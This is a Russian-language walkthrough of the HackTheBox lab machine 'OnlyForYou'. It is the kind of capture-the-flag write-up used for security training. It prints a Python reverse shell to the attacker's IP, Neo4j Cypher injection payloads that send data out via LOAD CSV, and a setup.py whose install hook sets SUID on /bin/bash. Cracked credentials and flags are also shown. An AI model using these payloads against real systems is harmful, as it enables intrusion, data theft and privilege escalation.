Обзор сервисов

Проведем стандартную разведку с помощью nmap:

$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.210 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 08:42 EDT
Nmap scan report for 10.10.11.210
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_  256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2148.45 seconds

Классические порты для Linux машин HackTheBox.

Веб-приложение

Alt text

Для перехода на веб-приложение потребуется внести домен only4you.htb в /etc/hosts:

echo "10.10.11.210 only4you.htb" | sudo tee -a /etc/hosts

После добавления попадаем на веб-приложение.

Alt text

С помощью gobuster находим еще один домен и добавляем его в /etc/hosts:

$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://only4you.htb -t 20 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://only4you.htb
[+] Method:          GET
[+] Threads:         20
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: beta.only4you.htb Status: 200 [Size: 2191]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Alt text

Если нажать на кнопку Source Code, то скачается архив source.zip. Внутри него обнаруживаем приложение на Python с использованием Flask.

$ unzip source.zip 
Archive:  source.zip
   creating: beta/
  inflating: beta/app.py             
   creating: beta/static/
   creating: beta/static/img/
  inflating: beta/static/img/image-resize.svg  
   creating: beta/templates/
  inflating: beta/templates/400.html  
  inflating: beta/templates/500.html  
  inflating: beta/templates/convert.html  
  inflating: beta/templates/index.html  
  inflating: beta/templates/405.html  
  inflating: beta/templates/list.html  
  inflating: beta/templates/resize.html  
  inflating: beta/templates/404.html  
   creating: beta/uploads/
   creating: beta/uploads/resize/
   creating: beta/uploads/list/
   creating: beta/uploads/convert/
  inflating: beta/tool.py

Изучение кода

В файле app.py видим следующие эндпоинты:

@app.route('/list', methods=['GET'])
def list():
    return render_template('list.html')

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Заметим, что проверка в эндпоинте /download не включает абсолютный путь, то есть, мы можем подавать путь от корня.

Проверим и получим Local File Inclusion.

Alt text

Local File Inclusion

Что мы можем делать с помощью LFI? Пробуем найти, где находится основной исходный код приложения.

Стоит предположить, что перед приложением стоит реверс-прокси Nginx.

Alt text

Отсюда мы узнаем локальный путь к файлам приложения:

  • /var/www/only4you.htb
  • /var/www/beta.only4you.htb

Теперь мы можем прочитать код основного веб-приложения:

Alt text

Стоит обратить внимание на файл form.py, из которого импортируется функция sendmessage:

Alt text

В функции issecure есть вызов subprocess.run относительно переменной domain, которая, в свою очередь, приходит из переменной email и при этом не подвергается санитизации данных. Это значит, что там есть Remote Code Execution.

Приготовим реверс-шелл:

export RHOST="10.10.16.30";export RPORT=4242;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

Закодируем его с помощью URLEncode, запустим netcat и отправим запрос.

rlwrap nc -lnvp 4242

Alt text

Alt text

Для удобства перейдем на Meterpreter.

Alt text

Port Forwarding

Посмотрим, какие порты заняты внутренними сервисами.

$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1051/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Новые порты:

  • 8001 - веб-сервер
  • 3000 - gogs (git-сервер)
  • 7474 - neo4j
  • 3306 - mysql

Пробросим порты на локальную машину. У меня не вышло сделать это с помощью Metasploit, поэтому воспользуемся chisel. Запустим на локальной машине в качестве сервера:

$ ./c server --reverse --port 4244
2023/08/19 10:51:59 server: Reverse tunnelling enabled
2023/08/19 10:51:59 server: Fingerprint 53Gxhuvn6Ax3lHNCuurKiBh0PNNNbSXWpNF7AUKjUzA=
2023/08/19 10:51:59 server: Listening on http://0.0.0.0:4244

Загрузим через Metasploit бинарник на атакуемую машину и запустим туннель.

$ ./c client 10.10.16.30:4244 R:58001:127.0.0.1:8001 &
2023/08/19 14:55:36 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:55:37 client: Connected (Latency 50.508471ms)
$ ./c client 10.10.16.30:4244 R:53000:127.0.0.1:3000 &
2023/08/19 14:56:20 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:56:21 client: Connected (Latency 49.871227ms)
$ ./c client 10.10.16.30:4244 R:57474:127.0.0.1:7474 &
2023/08/19 14:57:00 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:01 client: Connected (Latency 64.101164ms)
$ ./c client 10.10.16.30:4244 R:53306:127.0.0.1:3306 &
2023/08/19 14:57:46 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:47 client: Connected (Latency 49.919297ms)

Neo4j

Alt text

Gogs

Alt text

Веб-приложение

Alt text

Пробуем стандартные креды admin:admin и попадаем в админку.

Alt text

Во вкладке Employees мы можем делать запрос по сотрудникам. При этом мы уже видели Neo4j.

Alt text

Посмотрим на инструкции по Neo4J. Нужно запустить сервер на питоне и выполнять SQL-инъекцию:

python3 -m http.server 8081
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.30:8081/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Alt text

10.10.11.210 - - [19/Aug/2023 11:21:44] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [19/Aug/2023 11:21:44] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
10.10.11.210 - - [19/Aug/2023 11:21:44] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [19/Aug/2023 11:21:44] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

База данных Neo4j 5.6.0 community.

Теперь аналогичным образом получим лейблы:

'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.30:8081/?label='+label as l RETURN 0 as _0 //
10.10.11.210 - - [19/Aug/2023 11:24:58] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:24:59] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:24:59] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:00] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:00] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:02] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:02] "GET /?label=employee HTTP/1.1" 200 -

В базе лейблы user и employee.

Перечислим пользователей:

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.30:8081/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [19/Aug/2023 11:27:56] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:57] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:59] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:59] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:00] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:00] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:01] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:01] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:02] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:04] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:04] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:05] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:05] "GET /?username=john HTTP/1.1" 200 -

Пользователи:

  • admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
  • john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

Загоняем хеши в crackstation.net и получаем пароли:

Alt text

Попробуем подключиться к SSH как john:

$ ssh [email protected]
ThisIs4You

Alt text

Пользовательский флаг

-bash-5.0$ ls
user.txt
-bash-5.0$ cat user.txt 
de020dc2d84baed3354c789126cdbfe6

Alt text

Повышение привилегий

Нам доступно выполнение pip download с Gogs сервера.

-bash-5.0$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

Креды от SSH так же подходят к нему.

Alt text

Создадим пакет с полезной нагрузкой, в которую пропишем SUID флаг на /bin/bash. Воспользуемся инструкцией.

$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
Cloning into 'this_is_fine_wuzzi'...
remote: Enumerating objects: 37, done.
remote: Counting objects: 100% (37/37), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 37 (delta 17), reused 8 (delta 1), pack-reused 0
Receiving objects: 100% (37/37), 9.14 KiB | 1.83 MiB/s, done.
Resolving deltas: 100% (17/17), done.
$ nano setup.py
import os

from setuptools import find_packages, setup
from setuptools.command.egg_info import egg_info
from setuptools.command.install import install

def RunCommand():
    os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)

class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)
$ python3 -m venv env
$ source env/bin/activate
$ pip install setuptools build
$ python3 -m build
$ ls -la dist                                            
total 16
drwxr-xr-x 2 user user 4096 Aug 19 11:43 .
drwxr-xr-x 7 user user 4096 Aug 19 11:43 ..
-rw-r--r-- 1 user user 1901 Aug 19 11:43 this_is_fine_wuzzi-0.0.1-py3-none-any.whl
-rw-r--r-- 1 user user 2754 Aug 19 11:43 this_is_fine_wuzzi-0.0.1.tar.gz

Теперь файл dist/this_is_fine_wuzzi-0.0.1.tar.gz нужно загрузить в качестве файла в репозиторий Gogs.

Alt text

cd dist
git init
git add *
git commit -m "init"
git remote add origin http://127.0.0.1:53000/john/newrepo.git
git push --set-upstream origin master

Alt text

Теперь на машине можем выполнить pip.

$ sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.8 kB 10.6 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
$ /bin/bash -p

Alt text

Флаг суперпользователя

bash-5.0# cd /root
bash-5.0# ls
root.txt  scripts
bash-5.0# cat root.txt
1063c2d3ad0477bc7bf395ec165b572e

Alt text